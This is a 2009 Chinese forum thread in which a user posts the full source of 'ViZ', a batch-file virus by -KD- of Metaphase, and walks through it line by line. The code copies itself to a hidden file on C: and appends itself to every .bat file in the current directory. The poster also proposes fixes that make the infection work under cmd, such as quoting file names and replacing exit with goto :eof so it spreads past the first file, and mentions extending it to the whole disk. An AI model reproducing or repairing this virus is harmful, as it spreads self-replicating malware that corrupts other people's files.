标题: [讨论]knowdeth的一段代码:感染当前目录下所有bat文件
[打印本页]
作者: lhjoanna
时间: 2009-1-9 03:38
标题: [讨论]knowdeth的一段代码:感染当前目录下所有bat文件
从网上看到的knowdeth的一段代码,其中有一些代码还理解不是很透彻,欢迎大家一起来讨论下啊。源程序地址:
http://vx.netlux.org/lib/vkd01.html Quote: |
1| :: [ViZ] by -KD- of Metaphase
2| @echo off%_ViZ%
3| if '%1=='ViZ goto ViZ%2
4| if exist c:\_ViZ.bat goto ViZstart
5| if not exist %0.bat goto ViZexit
6| find "ViZ"<%0.bat>c:\_ViZ.bat
7| attrib c:\_ViZ.bat +h
8| :ViZstart
9| if '%!ViZ%=='- goto ViZexit
10| set !ViZ=%!ViZ%-
11| command /e:5000 /c c:\_ViZ ViZ v
12| :DaViZ
13| goto ViZexit
14| :ViZv
15| for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a
16| exit ViZ
17| :ViZ_inf
18| find "ViZ"<%3>nul
19| if not errorlevel 1 goto ViZlevel
20| type c:\_ViZ.bat>>%3
21| exit ViZ
22| :ViZlevel
23| set ViZ!=%ViZ!%-
24| if %ViZ!%==- exit
25| :ViZexit |
|
作者: lhjoanna
时间: 2009-1-9 03:39
我会一行一行写出自己的理解,大家一起来讨论下。
第一行:列出一些信息。
第二行:对于%echo off%大家都很熟悉,可是后面怎么多了个%_ViZ%,别着急,继续往下看。
第三行:if '%1=='ViZ goto ViZ%2 %1不是第一个参数吗?可是现在还没有参数啊,这是何意?把问题留在脑中,继续往下看。
第四行:if exist c:\_ViZ.bat goto ViZstart 此时还不存在c:\_ViZ.bat,此行不执行。
第五行:if not exist %0.bat goto ViZexit 同样的,也不存在%0.bat,继续执行。注:此时有一点问题,cmd下%0已经包含.bat了,故此应该改为%0,去掉.bat。
第六行:find "ViZ"<%0.bat>c:\_ViZ.bat 。同样先把.bat去掉再来看,find "ViZ"<%0>c:\_ViZ.bat。此句直接理解就是把当前程序代码中的所有包含"ViZ"的行写入c:\_ViZ.bat中,这又是何意?仔细一看,原来此代码中所有行都包含ViZ,这样就理解了吧。此句意思就是把程序自身复制到c盘根目录下。这也就是为什么KD在许多行加一些看似无意义的ViZ。
第七行:attrib c:\_ViZ.bat +h 不用解释了,加隐藏属性。
第八行:一个标签
第九行:if '%!ViZ%=='- goto ViZexit 猛一看觉得很复杂,其实就是判断一个变量!ViZ是否等于'-'。
第十行:set !ViZ=%!ViZ%- 这句大家肯定也经常用,看这个:set str=%str%OK,很熟悉吧。
第11行:command /e:5000 /c c:\_ViZ ViZ v 此句我之前没有接触过,只知道command.exe是98下带的,xp已经换为cmd。不过可以推测出此句的大意:在一个新的命令环境中运行刚才在c盘下建立的bat文件,/c是运行完毕后就返回。我们在cmd下可以直接用call c:\_ViZ.bat ViZ v来实现。这句话什么意思呢?运行c:\_ViZ.bat,提供的参数%1为ViZ,%2为v。C盘下的程序是此程序的复制品,当然和此程序一样。大家从此程序头看起,明白了吧。运行到第三行的if '%1=='ViZ goto ViZ%2 后直接跳到标签:ViZv处。也就是第14行。
第12行:12、13行一起来看,指运行完程序后就直接退出。程序运行到这里,是主程序运行完毕,下面的几个标签上面的分支。
第15行:for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a 此句为核心代码,此程序即通过此句来感染当前文件下的bat文件。当然你可以修改为感染全盘的,或者感染其他格式的文件等等。看do后面的call c:\_ViZ ViZ inf %%a,有了刚才的解释,此句就很容易了吧。此句执行后即跳到标签ViZinf处。即第17行。注:此句有不完善之处,若当前目录下有文件名带空过的bat会引起后面的参数%%a传递的错误。改为:for /f "delims=" %%a in (*.bat) do call c:\_ViZ.bat ViZ inf "%%a"。
第16行:exit在纯dos下为退出当前环境,在cmd即为关闭命令提示符。
第17行::ViZ_inf 应该是KD笔误吧,此标签应该为ViZinf。
第18行:find "ViZ"<%3>nul与第19行一起理解。此处%3即为第15行的%%a,同样的原因,此句改为find "ViZ"<"%~3">nul。即如果即将被感染的bat文件中包含ViZ字符则跳到标签Vizlevel,看一下第19行的标签下程序即知道为退出。呵呵,看来病毒也是有感情的啊,自己名字叫ViZ(见第一行),对于包含字符"ViZ"的文件会手下留情呢。
第20行:type c:\_ViZ.bat>>%3 此句即为感染的执行代码。即往被感染bat中添加自身代码。同样此句为 typec:\_ViZ.bat>>"%~3"。
第21行:exit ViZ要注意,KD是在纯dos下用exit来使一次循环结束后返回,cmd下应改为:goto :eof ViZ,否则,只感染当前目录下一个文件就结束了。
第22行至最后 退出程序。可能是我还没理解透彻,直接exit即可,不知为何还要麻烦的设置变量。反观第10行,可能是对某个信息的判断,还是纯dos另有隐情?还望大家一起来探讨啊。